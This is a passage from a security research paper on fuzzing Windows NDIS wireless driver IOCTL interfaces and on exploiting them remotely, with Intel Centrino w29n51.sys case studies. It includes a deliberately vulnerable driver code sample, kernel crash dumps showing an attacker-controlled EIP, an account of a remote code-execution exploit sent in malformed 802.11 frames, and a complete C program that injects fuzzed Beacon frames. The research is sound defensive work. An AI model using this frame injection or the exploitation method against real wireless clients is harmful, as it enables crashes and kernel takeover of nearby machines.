objects one may use WinObj [13] from SysInternals or OSR DeviceTree [14]. To
enumerate network adapters IOCTL fuzzer may also callGetAdaptersInfo
defines in iphipapi.h

To test for local vulnerabilities in I/O Control API a fuzzer callsDeviceIoControl
function defined in winbase.h:

BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped

);

OID must be passed as the first DWORD oflpInBuffer in call toDeviceIoControl.
The payload data is actually passed within output bufferlpOutBuffer in
NDIS versions prior to NDIS 5.1 or inlpInBuffer right after the OID in
NDIS 5.1 or NDIS 6.0. IOCTL fuzzer variesnInBufferSize andnOutBufferSize
arguments to test that the driver verifies that the input and output buffers are
large enough to hold all the requested data when handling IOCTL. An overflow
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can occur if the size of the supplied buffer is typically less or greater than the
size of the structure expected by the driver in response to the OID request.

To demonstrate techniques for fuzzing I/O Control API of device drivers de-
scribed in this paper we use IOCTLBO tool on WindowsR©. A detailed synopsis
of IOCTLBO is provided in Appendix C to overview some of the capabilities of
IOCTL fuzzer.

Is it enough to fuzz only input and output buffer sizes for each certainOID?
In some cases yes, especially for query requests. But in many cases thefuzzer
must be aware of the structures it is passing to the driver to uncover vulnerabil-
ities concealed deeper in the driver code. The structure that the driverexpects
in the request can also contain variable length buffer preceded by the length
of the buffer and despite the driver checks the total size of the input buffer
it may fail to check the length of the buffer inside the structure. For exam-
ple,OID_802_11_SSID can be both queried and set to the WLAN miniport
driver. If this is a set request then the driver expects input buffer tocontain an
SSID represented by the following structure:

typedef struct _NDIS_802_11_SSID
{

ULONG SsidLength;
UCHAR Ssid[NDIS_802_11_LENGTH_SSID];

} NDIS_802_11_SSID, *PNDIS_802_11_SSID;

If the driver does not verifySsidLength before copying contents ofSsid
into a static 32-byte buffer then the vulnerability depends on theSsidLength
parameter supplied by the IOCTL fuzzer. If input data consists of lots of ’A’
(0x41) then the vulnerability can be triggered whereas the vulnerability isn’t
triggered if the input buffer is filled with 0x0 bytes.

In [15] the authors emphasized the same issue for WLAN frames fuzzers when
fuzzing contents of complex information elements within wireless LAN frames.

4.3 Device state matters

As the previous section described, the NDIS miniport driver can support both
general NDIS and vendor proprietary OIDs. The information returnedby the
miniport driver highly depends on the current or even previous state ofthe driver
or network statistics gathered by the driver. Below are several examplesof OIDs
that behave differently under different conditions:

1. An application queriesOID_802_11_SSID to request the wireless LAN
miniport driver to return SSID string of WLAN that the adapter is currently
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connected to. This OID can trigger a vulnerability if the driver is associated
with some access point. The vulnerability doesn’t appear if the driver is not
connected to any network.

2. An application can request wireless LAN miniport driver to set WEP keyby
sendingOID_802_11_ADD_KEY request and the WEP key to be applied.
If the driver fails to process this OID correctly then the vulnerability can
be encountered when the wireless network adapter is associated with some
access point that requires WEP encryption but is not hit when the access
point is Open/None or requires WPA/TKIP or WPA/CCMP or the driver is
not connected at all.

3. An application can queryOID_802_11_BSSID_LIST to request wire-
less BSSIDs detected by the adapter. This OID can trigger a vulnerability if
there are wireless LANs detected by the driver during passive or active scan-
ning process. If radio is off or there are no wireless LANs in the range of the
adapter then the request for this OID may complete without any problem.

4. The driver can support proprietaryOID_MYDRV_LOG_CURRENT_WLAN
that is used by an application to obtain debug information about AP that
the driver is currently associated with. Similarly to the first example the
vulnerability can be triggered if station is associated with some AP.

An application may request the miniport driver for some information that does
not really depend on the state of the network adapter, for example query for au-
thentication and encryption capabilities usingOID_802_11_CAPABILITY,
then the vulnerability can be discovered in any state of the device.

Wireless LAN station can be in one of three major states specified in [2] rela-
tively to any other remote station: unauthenticated and unassociated, authenti-
cated but unassociated, authenticated and associated. However in eachof these
three states the information that the NDIS miniport driver can be queried forde-
pends on many other conditions. Moreover when IEEE 802.11i security mech-
anisms such as TKIP/CCMP encryption or EAP authentication the set of states
is significantly extended. This expands three major states into (at least) the fol-
lowing larger set of states that the driver should be tested in:

– radio off;
– radio on, no wireless LAN found;
– wireless LANs found;
– authenticated to AP with Open System or WEP shared key authentication;
– associated with AP that doesn’t require any encryption or requires WEP;
– associated with WPA capable AP in different stages of Robust Security Net-

work Association (RSNA): pre-RSNA - RSNA established;
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– associated with WPA capable APs requiring different cipher suites: TKIP or
AES-CCMP;

– exchanged data frames (protected or not) with AP or another station;
– ...

5 Remote exploitation of local vulnerabilities

The paper has just described that vulnerabilities in IOCTL interface of device
drivers may allow local attacker to elevate current privilege level to 0. How-
ever to exploit these vulnerabilities malware has to be present on the computer.
Thus IOCTL vulnerabilities are usually treated as less severe than ones that can
be exploited by remote attacker or a worm. We’ll try to debunk this myth and
show that IOCTL vulnerabilities can be as severe as remote frames handling
vulnerabilities. Consider IOCTL vulnerabilities that can be exploited remotely.

Assume that the WLAN device driver stores internally information about the
wireless network which station is currently connected to. The driver also imple-
ments proprietaryOID_802_11_ACTIVE_BSSID_INFO used to output that
information in response to a request sent by a wireless management application.

Here’s an example of the code handlingOID_802_11_ACTIVE_BSSID_INFO
request.
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NDIS_STATUS
queryOID( IN NDIS_HANDLE hMiniportCtx,

IN NDIS_OID oid,
IN PVOID InformationBuffer,
IN ULONG InformationBufferLength,
OUT PULONG pBytesWritten,
OUT PULONG pBytesNeeded )

{
PCONNECTION_INFO pConnInfo = NULL;
GetCurrConnectionInfo( &pConnInfo );

switch( oid )
{

case OID_802_11_SSID:
case OID_802_11_NON_BCAST_SSID_LIST:
case OID_802_11_BSSID_LIST:
..
case OID_802_11_ACTIVE_BSSID_INFO:
{
NDIS_WLAN_BSSID_EX bssid, *pBssid;
..
NdisMoveMemory( pBssid->Ssid.Ssid,

pConnInfo->Ssid.Ssid,
pConnInfo->Ssid.SsidLength );

pBssid->Ssid.SsidLength = pConnInfo->Ssid.SsidLength;
..
if( pBssid->Length > InformationBufferLength )

return STATUS_INVALID_INPUT;
NdisMoveMemory( (PNDIS_802_11_BSSID_EX)InformationBuffer,

(PUINT8)pBssid,
pBssid->Length );

..
}

}

}

FunctionqueryOID contains a stack overflow vulnerability. It copies an SSID
of a current connectionpConnInfo->Ssid.Ssid to the stack bufferpBssid->Ssid.Ssid
without proper checking of the size of stack buffer.

Whether this vulnerability is encountered or not depends on some externalcon-
dition such as a WLAN that the adapter is connected to. This example shows
that it’s really hard to hit all IOCTL vulnerabilities in network driver even if
IOCTL fuzzer understands semantics behind OID requests. One can see that
not only a certain external condition should be in place while IOCTL request is
sent for a vulnerable OID but also that this condition can be controlled by the
remote attacker. Namely the SSID that overflows the buffer on stack can orig-
inate from a rogue access point or can be sent within a malformed Beacon or
Probe Response management frame by the attacker.
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If some local IOCTL vulnerability depends on the data that can be injected from
the outside there is a way for attacker to exploit the network driver remotely.The
exploitation requires the following two steps:

1. Remotely injecting malicious payload within a malformed frame
2. Triggering IOCTL vulnerability that depends on the injected payload

Typically requests for proprietary OIDs are sent by a management application
that manages connections, WLAN profiles, wireless security parameters and
interacts with a user. A certain request can be sent in response to some user
action as well as to a specific internal event. A request for vulnerable OIDcan
also be periodically sent to the driver by user-mode software.

To demonstrate remote exploitation of a vulnerability in device I/O control in-
terface, the old version ofw29n51.sys wireless LAN driver was modified to
introduce the vulnerability described earlier in this section. We modified one of
the existing OIDs supported by the driver, i.e.OID_802_11_BSSID_LIST,
to be able to trigger the vulnerability by the management application instead of
using IOCTL fuzzer. Beacon frames containing oversized SSID elementfilled
with ’A’s (0x41) are used to masquerade an AP and inject a payload to the
vulnerable driver. After scanning for currently available WLANs the driver re-
turns information about resolved BSSIDs in response to IOCTL requestfor
OID_802_11_BSSID_LIST sent by a local wireless management applica-
tion. This request makes the driver copy unverified SSID elements of resolved
BSSIDs into the stack bufferpBssid->Ssid.Ssid. As a result, the follow-
ing crash occurred:
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DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 41414141, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 41414141, address which referenced memory

Debugging Details:
------------------

READ_ADDRESS: 41414141

CURRENT_IRQL: 2

FAULTING_IP:
+41414141
41414141 ?? ???

DEFAULT_BUCKET_ID: DRIVER_FAULT

BUGCHECK_STR: 0xD1

LAST_CONTROL_TRANSFER: from 8923dc88 to 41414141

TRAP_FRAME: af52dc40 -- (.trap ffffffffaf52dc40)
ErrCode = 00000000
eax=41414141 ebx=8a2d3ad0 ecx=00000000 edx=00000000 esi=8a2d3ad0 edi=8a2f13f8
eip=41414141 esp=af52dcb4 ebp=41414141 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000386
41414141 ?? ???
Resetting default scope

STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
af52dcb0 8923dc88 0d000000 00000000 af52dce8 0x41414141
af52dcc0 ba57f33d 89ab4004 0d010217 87c0500e 0x8923dc88
af52dce8 bac0e997 8a0dc004 0d010217 87c0500e w29n51!MiniportQueryInformation+0x4d [..]
af52dd14 bac0e26c 00000001 8a2d3ad0 00000000 NDIS!ndisMDispatchRequest+0x135
af52dd2c bac0e3b0 8a2d3ad0 87c0500e 89a368a0 NDIS!ndisMQueryInformation+0x2ad
af52dd58 bac0aa01 89a368a0 8a2d3ad0 8a2f13f8 NDIS!ndisMDoRequests+0x3ba
af52dd74 bac0e416 89a368a0 8a2f13f8 8a2648b0 NDIS!ndisMRequest+0xfc
af52dd98 babfbbaa 8a264898 00000000 887ee8c0 NDIS!ndisMRundownRequests+0x32
af52ddac 8057bf15 8a2648a0 00000000 00000000 NDIS!ndisWorkerThread+0x75
af52dddc 804f94b2 babfbb85 8a2648a0 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

FAILED_INSTRUCTION_ADDRESS:
+41414141
41414141 ?? ???

FOLLOWUP_IP:
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w29n51!MiniportQueryInformation+4d [..]
ba57f33d 8945fc mov [ebp-0x4],eax

A quick examination of the trap frame contents shows that both EIP and EBP are
overwritten by the malformed SSID contents and are fully controlled by remote
attacker. A call stack trace in this crash dump indicates that the fault occurred in
the function called by the miniport functionw29n51!MiniportQueryInformation
that is required by NDIS architecture and used by ndis.sys to request miniport
for OID information.

kd> kP
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
af52dcb0 8923dc88 0x41414141
af52dcc0 ba57f33d 0x8923dc88
af52dce8 bac0e997 w29n51!MiniportQueryInformation(

void * MiniportAdapterContext = 0x8a0dc004,
unsigned long Oid = 0xd010217,
void * pInfoBuffer = 0x87c0500e,
unsigned long InfoBufferLength = 0xfde8,
unsigned long * pBytesWritten = 0x8a2f1418,
unsigned long * pBytesNeeded = 0x8a2f141c)+0x4d

From the above example, it can be seen that it is possible to remotely exploit
NDIS miniport drivers that contain certain instances of device I/O controlvul-
nerabilities existing in local interface and are believed to result in local privilege
escalation at most. It is not clear for the moment how many of those vulnera-
bilities exist, but assuming that the network driver receives most of its statistics
from the network packets, they should not be very unusual.

A recommendation for the vendors of network drivers would be to inspecteach
crash dump resulted from running IOCTL fuzzer. The contents of the regis-
ters or memory they point to may contain data received by the driver from the
frames when crash occurs. To increase the likehood of encountering remotely
exploitable local vulnerabilities one should run local IOCTL fuzzer and, at the
same time, fuzzing the driver with malformed frames remotely.

6 Getting control over Intel Centrino: case studies

This section describes two case studies of mitigated vulnerabilities in multi-
ple versions of wireless LAN drivers for IntelR© PRO/Wireless 2200BG and
2915ABG Network Connection for IntelR© CentrinoR© mobile technology.
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6.1 Mitigated remote code execution vulnerability

As a result of investigation of a vulnerability described in security advisory[12]
a remote code execution exploit was developed and demonstrated. The exploit
took control over the laptop with 2200BG PRO/wireless LAN adapter and a
w29n51.sys NDIS 5.1 miniport driver installed on Windows XP SP2. Kernel
shellcode was injected in unspecified SSID element of Association Response
management frame that the paper discussed earlier.

Let’s start with injecting DoS shellcode. A bugcheck below demonstrates that
driver improperly handled SSID element in Association Response frame. Note
EBP and EIP are overwritten with the data controlled by the attacker.

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 90909090, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000008, value 0 = read operation, 1 = write operation
Arg4: 90909090, address which referenced memory

kd> .trap ffffffffbacd34ec
ErrCode = 00000010
eax=00000000 ebx=00000000 ecx=89dfc004 edx=00000000 esi=8a09a140 edi=8a179540
eip=90909090 esp=bacd3560 ebp=78787878 iopl=0 nv up ei pl zr na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
90909090 ?? ???
kd> kP L10
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
bacd355c 00000000 0x90909090

The code execution exploit sent 40-300 malformed Association Responseman-
agement frames containing kernel payload at the exact moment when a vulnera-
ble wireless driver was trying to connect to a wireless LAN (associate with AP).
As a result an attacker could exploit and gain Windows kernel-mode privileges
(including opening remote access to the system or installing a rootkit) on any
vulnerable laptop connecting to any WLAN in the radius of the attacker’s sys-
tem. Picture4demonstrates the result of remote exploitation of this vulnerability
using sample payload described previously in this paper.

Below is a snapshot of a log file written by the driver after exploitation:

00000280 72.40969086 [STACONN ] got CMAS_ASSOCIATED notification from FW
00000281 72.40976715 [STACONN ] host association completed
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Fig. 4. Result of a demo remote exploit for a mitigated vulnerability in device
driver for Intel Centrino 2200BG wireless adapter on Windows XP SP2

00000282 72.40980530 [STAQOS ] failed to get active BSSID
00000283 72.56739044 0WN3D
00000284 72.56739807 0WN3D
00000285 72.56743622 0WN3D
00000286 72.56744385 0WN3D
00000287 72.56750488 0WN3D
00000288 72.56753540 0WN3D

6.2 Mitigated local vulnerability

As previously described, vulnerabilities hit while incorrect handling I/O Control
Codes by the driver can allow local user-mode exploit to execute arbitrary code
with Windows kernel-mode privileges. Below is an example of a vulnerabil-
ity identified and mitigated in w29n51.sys driver for 2200BG wireless adapter
when processingOID_802_11_BSSID_LIST (0x0d010217). This OID is
used to query miniport for information about all detected BSSIDs. NDIS mini-
port returns an array ofNDIS_WLAN_BSSID_EX structures.

As seen from the results of fuzzing this OID the driver had written more bytes
than the output buffer allocated by user-mode application could contain.
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[ioctlbo] > Sending IOCTL = 0x0017000e : IOCTL_NDIS_QUERY_SELECTED_STATS
[ioctlbo] > 0. Testing OID = 0x0d010217
..
BEFORE ---------------------------------------------------------------------
IN buffer (lpInBuf):
00374C10: 17 02 01 0D 41 41 41 41 - 41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
00374C20: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374C30: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374C40: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374C50: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374C60: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374C70: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374C80: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 AAAAAAAAAAAAAA

OUT buffer (lpOutBuf):
00374B38: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374B48: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374B58: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374B68: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374B78: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374B88: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374B98: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00374BA8: 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 AAAAAAAAAAAAAA
----------------------------------------------------------------------------

[ioctlbo] : sending 126 (bytes).. returned 128

AFTER ----------------------------------------------------------------------
OUT buffer (lpOutBuf):
00374B38: 17 02 01 0D 78 00 00 00 - 00 00 00 00 00 10 00 00 ....x...........
00374B48: 00 80 6E 00 00 00 00 00 - 70 12 58 8A 78 12 58 8A ..n.....p.X.x.X.
00374B58: 00 90 6E 00 00 00 00 00 - 52 CA 4E 8D 0B 00 00 00 ..n.....R.N.....
00374B68: 59 32 4F 8D 0B 00 00 00 - 00 00 00 00 00 00 00 00 Y2O.............
00374B78: 40 C0 01 89 98 B3 CC 84 - 00 00 00 00 00 00 00 00 ................
00374B88: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
00374B98: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
00374BA8: 00 00 00 00 00 00 00 00 - B8 14 58 8A 00 00 ..........X...
----------------------------------------------------------------------------
[ioctlbo] < !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[ioctlbo] < !! OVERFLOW: IOCTL = 0x0017000e, OID = 0x0d010217, sent 126 (bytes), returned 128
[ioctlbo] < !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

The driver overflows the output buffer if its length is 12 - 127 bytes. We run
again the IOCTLBO fuzzer with--allocate option turned on which means
that it will allocate an output buffer before each IOCTL request insteadof al-
locating a single buffer of a maximum length for all requests. As a result of
user-mode output buffer corruption by the w29n51 driver IOCTLBO ends up in
OllyDbg [16]. Figure5 shows the 128 bytes of kernel pool contents written into
12-byte user-mode heap chunk.

Although the attacker can get some kernel pool data it is obviously not the end
goal of exploitation. It shows that the miniport driver incorrectly handlesthis
OID request. Under different conditions, as can be seen from the below crash
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Fig. 5.User-mode heap corruption by the vulnerable driver

dump, the vulnerability can cause the driver to reference memory outside its
pool allocation.

PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver’s name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 8a655000, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 804d9da8, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.

Debugging Details:
------------------

TRAP_FRAME: ad154a18 -- (.trap ffffffffad154a18)
ErrCode = 00000000
eax=8a655068 ebx=8a654ff0 ecx=0000001a edx=00000000 esi=8a655000 edi=ade2d770
eip=804d9da8 esp=ad154a8c ebp=ad154a94 iopl=0 nv up ei pl nz na pe nc
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cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
nt!memmove+0x33:
804d9da8 f3a5 rep movsd ds:8a655000=???????? es:ade2d770=41414141

7 Conclusion

This paper focused on vulnerabilities in wireless LAN drivers as they attracted
a lot of attention last year. With wide adoption of IEEE 802.16 WiMAX and
3G+ mobile networks the exploitation of WiMAX and WWAN device drivers
may become more and more attractive. However, any network device driver
is a subject to remote exploitation; the longer range of the radio technology
- more attractive exploitation of devices operating this technology. Obviously,
exploitation of nationwide or global technology can be extremely dangerous.

Vulnerabilities in the IOCTL API while processing OIDs are common to all
NDIS miniport drivers including WLAN, WiMAX, Ethernet, Bluetooth and
WWAN. As they exist in common device driver API they may also attract much
attention in the future. In the paper we have shown the need for network driver
developers and penetration testers to pay as much attention to vulnerabilities in
the IOCTL local interface as to vulnerabilities in processing incoming network
traffic. Both of them can be exploited remotely. The important property of this
class of vulnerabilities is that they can be exploited by the attacker even if radio
interface is off and wireless device is not transmitting or receiving any data.

BSODs in network device drivers are not just functional bugs. Any ofthese bugs
may be leveraged by an exploit and lead to local kernel privilege escalation or a
remote exploitation of the system. It’s very important for the vendors of network
drivers to take security into account during the entire lifecycle. It implies using
compiled-in protections, a number of tools such as Microsoft Driver Verifier and
NDISTest available to Windows driver developers that can help in findingvul-
nerabilities, integrate routine static source code analysis into the development
process (Microsoft PREfast for Windows drivers or other source code static
analysis tool), perform manual code analysis to identify more complicated vul-
nerabilities and fuzzing of local and remote driver interfaces.
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11 Appendix A. Beacon management frame example

Packet Info
Flags: 0x00
Status: 0x01
Packet Length: 144
Timestamp: 12:46:18.534181400 05/15/2006
Data Rate: 2 1.0 Mbps
Channel: 1 2412 MHz
Signal Level: 18%
Signal dBm: -82
Noise Level: 5%
Noise dBm: -95

802.11 MAC Header
Version: 0 [0 Mask 0x03]
Type: %00 Management [0]
Subtype: %1000 Beacon [0]
Frame Control Flags: %00000000 [1]
Duration: 0 Microseconds [2-3]
Destination: FF:FF:FF:FF:FF:FF Ethernet Broadcast [4-9]
Source: 00:xx:xx:xx:xx:xx [10-15]
BSSID: 00:xx:xx:xx:xx:xx [16-21]
Seq. Number: 2570 [22-23 Mask 0xFFF0]
Frag. Number: 0 [22 Mask 0x0F]

802.11 Management - Beacon
Timestamp: 12518867251615 Microseconds [24-31]
Beacon Interval: 100 [32-33]
Capability Info: %0000010000000001 [34-35]

SSID
Element ID: 0 SSID [36]
Length: 1 [37]
SSID: . [38]

Supported Rates
Element ID: 1 Supported Rates [39]
Length: 8 [40]
Supported Rate: 1.0 (BSS Basic Rate)
Supported Rate: 2.0 (BSS Basic Rate)
Supported Rate: 5.5 (BSS Basic Rate)
Supported Rate: 6.0 (Not BSS Basic Rate)
Supported Rate: 9.0 (Not BSS Basic Rate)
Supported Rate: 11.0 (BSS Basic Rate)
Supported Rate: 12.0 (Not BSS Basic Rate)
Supported Rate: 18.0 (Not BSS Basic Rate)

..
FCS - Frame Check Sequence
FCS: 0x86E71C52 [140-143]
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12 Appendix B. Simple fuzzer of Supported Rates in Beacon
frame

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/socket.h>
#include <linux/if_arp.h>
#include <sys/ioctl.h>

#define BEACON_FRAMES_COUNT 10
#define RAW_INJ_IFACE "ath3"
unsigned char beacon_header[] =

{
0x80, // -- Beacon frame
0x00, // -- Flags
0x00, 0x00, // -- Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, // -- Dest addr (Broadcast)
0x00, 0x13, 0x13, 0x13, 0x13, 0x13, // -- Source addr
0x00, 0x13, 0x13, 0x13, 0x13, 0x13, // -- BSSID
0xc0, 0x2d, // -- Frame/sequence number
0x92, 0xc1, 0xb3, 0x30,
0x00, 0x00, 0x00, 0x00, // -- Timestamp
0x64, 0x00, // -- Beacon interval
0x11, 0x00, // -- Capability info
0x00, 0x06, // -- SSID ID + Length
’m’, ’y’, ’S’, ’S’, ’I’, ’D’, // -- SSID
0x01 // -- Supported Rates ID
// -- Supported Rates will go here

};
int main()

{
unsigned char beacon[ sizeof(beacon_header) + 0x100 ];
struct ifreq ifr;
struct sockaddr_ll saddr;
unsigned char ie_len = 0, pattern = 0x1;
int sts = -1, i, sock, frames_cnt, bytes_sent;
unsigned long delay_usecs = 100;

sock = socket( PF_INET, SOCK_DGRAM, 0 );
if( sock < 0 ) return -1;

bzero( &ifr, sizeof(ifr) );
bzero( &saddr, sizeof(saddr) );

strcpy( ifr.ifr_name, RAW_INJ_IFACE );
if( ioctl( sock, SIOCGIFINDEX, &ifr ) )

{
printf( "error: raw device %s is down\n", RAW_INJ_IFACE, sock );
goto cleanup;

}
sock = socket( PF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
if( sock < 0 ) goto cleanup;

saddr.sll_family = AF_PACKET;
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saddr.sll_ifindex = ifr.ifr_ifindex;
if( bind( sock, (struct sockaddr *)&saddr, sizeof(saddr) ) < 0 )

goto cleanup;
// --
// -- Construct and send frames
// --
memcpy( beacon, beacon_header, sizeof(beacon_header) );
do

{
beacon[ sizeof(beacon_header) ] = ie_len;
if( ie_len ) beacon[ sizeof(beacon_header) + ie_len ] = pattern++;
frames_cnt = BEACON_FRAMES_COUNT;
while( frames_cnt-- )
{

bytes_sent = sendto( sock, beacon,
sizeof(beacon_header) + ie_len + 1, 0, NULL, 0 );

if( bytes_sent < 0 ) goto cleanup;
printf( "Frame sent: total %d B, IE %d B\n", bytes_sent, ie_len );
if( delay_usecs ) usleep( delay_usecs );

}
}

while( ++ie_len );
printf( "DONE fuzzing\n" );
sts = 0;
cleanup:

close( sock );
return sts;

}
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13 Appendix C. IOCTLBO synopsis

Usage: ioctlbo [options]

-n --ndis NDIS testing mode -- analyzes NDIS Miniport drivers
-d --device <name> Target device name. Device name will be in the form:

1. \\.\GlobalRoot\Device\<name>
2. \\.\<name>
In NDIS mode <name> is a GUID of NIC (see --get_adapters option)

-f --file <file> Send payload in IOCTL input buffer loaded from <file>
-i --ioctl <ioctl> Send requests with a specific <ioctl> (in hex).

If option is omitted fuzz IOCTL codes common to this type of drivers
E.g. for NDIS drivers tests only IOCTL_NDIS_QUERY_SELECTED_STATS,
IOCTL_NDIS_QUERY_GLOBAL_STATS, IOCTL_NDIS_QUERY_ALL_STATS

-o --oid <oid> [NDIS mode only] Test only for the specified OID (in hex)
-s --bufsize <min>..<max> nOutBufferSize argument to be sent in DeviceIoControl [1..1024]
-g --get_adapters Get a list of available network adapters
-h --help Display this information

Advanced options:

-e --exclude_oid <oid> [NDIS mode only] Do not test specified OID (in hex)
Use this option to exclude OID that causes BSOD to test all other

-a --allocate Allocate a new buffer for each OID request.
If this option is _not_ set a buffer is allocated only once
with <max> bufsize and is sent in each OID request (filled
each time by specified pattern). This technique is faster but ..

-p --pattern <char> Fill output buffer with specified pattern character [’A’]
-c --continue Continue fuzzing after user-mode overflow detected.

User-mode overflow occurs when driver writes more data than
user-mode buffer allocated by IOCTLBO can contain. If this option is
used with --allocate option then IOCTLBO will crash after overflow

Log options:

-l --log <log_file> Output to specified log file [./ioctlbo.log]
-v --verbose Verbose mode
-w --flush_log Flush log to file before each request so that if driver bugchecks

log will contain exact request caused bugcheck. Extremely slow !!
Use only for sending a small number of requests

-m --buffer_dump Dump memory contents/addresses of IN/OUT buffers to log file.
Dumps IN/OUT buffers before request and OUT buffer after request.
Useful for debugging and allows to inspect contents of OUT buffer
returned by the driver. But imagine size of the log file
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